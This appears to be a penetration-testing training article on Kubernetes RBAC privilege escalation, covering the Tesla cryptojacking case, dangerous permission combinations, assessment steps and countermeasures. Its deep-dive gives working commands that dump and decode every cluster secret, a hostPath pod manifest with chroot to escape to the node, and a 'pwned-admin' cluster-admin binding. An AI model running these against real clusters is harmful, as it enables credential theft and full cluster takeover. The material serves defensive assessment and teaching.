Kubernetes RBAC Privilege Escalation: ClusterRoleBinding Abuse and Service Account Token Misuse

Why This Matters

The 2018 Tesla Kubernetes cryptojacking incident is the most widely cited Kubernetes security breach. Attackers discovered that Tesla's Kubernetes dashboard was exposed without authentication. They created pods running cryptomining software under the kube-system namespace, configured resource limits to stay below monitoring thresholds, and used Tesla's cloud credentials (found in a pod's environment variables) to obscure network traffic through an S3 bucket. The root cause was a combination of an exposed dashboard — which effectively granted cluster-admin to anyone who could reach it — and an overpermissive pod that had access to cloud credentials. In 2021, the Azurescape vulnerability demonstrated that RBAC misconfigurations in AKS multi-tenant clusters could allow container escape and cross-tenant privilege escalation. Kubernetes RBAC is the primary access control plane for the cluster; misconfigurations are routinely the highest-severity findings in Kubernetes security assessments.

Core Concept

Kubernetes RBAC is implemented through four object types. A Role contains rules specifying which verbs (get, list, watch, create, update, patch, delete, exec) are allowed on which resources (pods, secrets, configmaps, nodes) within a specific namespace. A ClusterRole is identical but applies cluster-wide or enables access to non-namespaced resources (nodes, persistentvolumes, clusterroles). A RoleBinding grants a Role or ClusterRole to a subject (User, Group, or ServiceAccount) within a namespace. A ClusterRoleBinding grants a ClusterRole to a subject across the entire cluster.

The five most dangerous RBAC permission combinations are:

1. pods/exec: create — allows kubectl exec into any pod in scope, providing an interactive shell without any additional authentication. Equivalent to remote code execution on the pod.
2. secrets: get/list/watch at cluster scope — reads all Secrets across all namespaces, including service account tokens, TLS private keys, and application credentials.
3. pods: create with ability to specify volumes — allows creating a pod that mounts the host filesystem (hostPath) or any Kubernetes Secret as a volume, bypassing RBAC controls on those resources.
4. clusterroles/clusterrolebindings: create — allows creating new RBAC bindings, enabling direct privilege escalation to cluster-admin.
5. cluster-admin ClusterRoleBinding to a service account — any pod using that service account has full unrestricted API server access.

kubectl auth can-i is the primary permission enumeration primitive. kubectl auth can-i --list shows all permissions for the current identity. The --as flag enables impersonation for testing other identities without needing their credentials.

Technical Deep-Dive

# ── Enumerate current permissions ─────────────────────────────
kubectl auth can-i --list
# Look for: * * (cluster-admin), secrets * *, pods/exec create

# Impersonation — test other service accounts
kubectl auth can-i --list --as=system:serviceaccount:default:default
kubectl auth can-i --list --as=system:serviceaccount:kube-system:tiller
kubectl auth can-i --list --as=system:serviceaccount:monitoring:prometheus

# ── Automated RBAC analysis ───────────────────────────────────
# rakkess — matrix view of all permissions
kubectl krew install access-matrix
kubectl access-matrix --sa kube-system:dashboard

# rbac-lookup — human-readable per-subject summary
rbac-lookup default --output wide --kind serviceaccount
rbac-lookup --output wide   # all subjects

# kube-hunter — automated cluster security assessment
kubectl run kube-hunter --image=aquasec/kube-hunter --restart=Never -- --pod

# ── Dangerous permission exploitation ─────────────────────────
# 1. pods/exec — get a shell in any pod
kubectl exec -it $(kubectl get pod -o name | head -1) -- /bin/sh

# 2. secrets:list — read all secrets across namespaces
kubectl get secrets --all-namespaces -o json | 
  python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for s in data["items"]:
  ns=s["metadata"]["namespace"]
  nm=s["metadata"]["name"]
  for k,v in s.get("data",{}).items():
    print(f"{ns}/{nm}/{k}: {base64.b64decode(v).decode(errors=chr(63))}")
"

# 3. pods:create with hostPath (node filesystem access)
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-escape
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep 3600"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF
kubectl exec -it hostpath-escape -- chroot /host /bin/sh

# 4. ClusterRoleBinding creation → cluster-admin escalation
kubectl create clusterrolebinding pwned-admin 
  --clusterrole=cluster-admin 
  --serviceaccount=default:default

# ── Verify escalated access ────────────────────────────────────
kubectl auth can-i --list --as=system:serviceaccount:default:default
# Should now show * * for all resources

Security Assessment Methodology

1. Enumerate all ClusterRoleBindings and RoleBindings — kubectl get clusterrolebindings,rolebindings --all-namespaces -o json. Build a matrix of subjects to permissions. Flag any cluster-admin binding not on a human administrator account.
2. Use kubectl auth can-i --list on the current identity and use --as to test service accounts for all namespaces. Prioritise: kube-system, default, monitoring, ci, prod.
3. Run rakkess and rbac-lookup for rapid visual analysis of the RBAC matrix. Feed findings into the manual exploitation phase.
4. Test pods/exec — if the permission is present, exec into a running pod and search for mounted credentials, environment variables, and accessible cluster services.
5. Test secrets:list at cluster scope — enumerate all secrets, decode all base64 values, and categorise findings by type (service account tokens, TLS keys, cloud credentials, application secrets).
6. Test pod creation with hostPath or secret mounting — attempt to create a pod that mounts / from the host or mounts a sensitive Secret. Document whether PodSecurityAdmission or OPA Gatekeeper policies block the creation.
7. Run kube-hunter in pod mode — this provides automated detection of escape paths, exposed APIs, and network-level misconfigurations that complement manual RBAC analysis.

Defensive Countermeasure — Audit all ClusterRoleBindings quarterly using kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects'. Replace any cluster-admin binding on a service account with a namespace-scoped Role with only the minimum required verbs. Enforce Pod Security Admission at the restricted level cluster-wide (pod-security.kubernetes.io/enforce: restricted) to block hostPath volumes, privileged containers, and host network/PID access. For CI/CD service accounts, create a dedicated Role with only the specific resource types and verbs needed — never use cluster-admin for automation.

Common Assessment Errors

• Only checking ClusterRoleBindings — namespace-scoped RoleBindings may grant sensitive permissions (like secrets:get in production) without appearing in the cluster-wide binding list. Always enumerate both resource types across all namespaces.
• Missing the system:authenticated group — some clusters inadvertently grant permissions to the built-in system:authenticated group (all authenticated users). Check kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:authenticated")'.
• Treating PodSecurityAdmission as a RBAC control — PSA restricts pod creation parameters but does not restrict API server access or secret reads. A pod blocked by PSA from using hostPath can still read secrets via the API if the service account has that permission.
• Not testing the aggregated RBAC rules — ClusterRoles can have aggregation rules that automatically pull in rules from other ClusterRoles matching a label selector. Inspect aggregationRule fields on ClusterRoles to understand the full effective permission set.
• Overlooking the system:masters group — any user or service account in the system:masters group bypasses RBAC entirely. Check certificates and service account tokens for group membership.
• Ignoring Helm/Tiller service accounts — legacy Helm 2 Tiller deployments often have cluster-admin and are a known persistence mechanism. Check for Tiller pods in kube-system.

NICE Framework Alignment

Further Reading

• "Tesla Cloud Resources Are Hacked to Mine Cryptocurrency" — RedLock Cloud Security Intelligence (2018)
• "Kubernetes RBAC — Good Practices" — Kubernetes Official Documentation
• "Attacking Kubernetes: A Guide for Administrators and Penetration Testers" — NCC Group Technical Report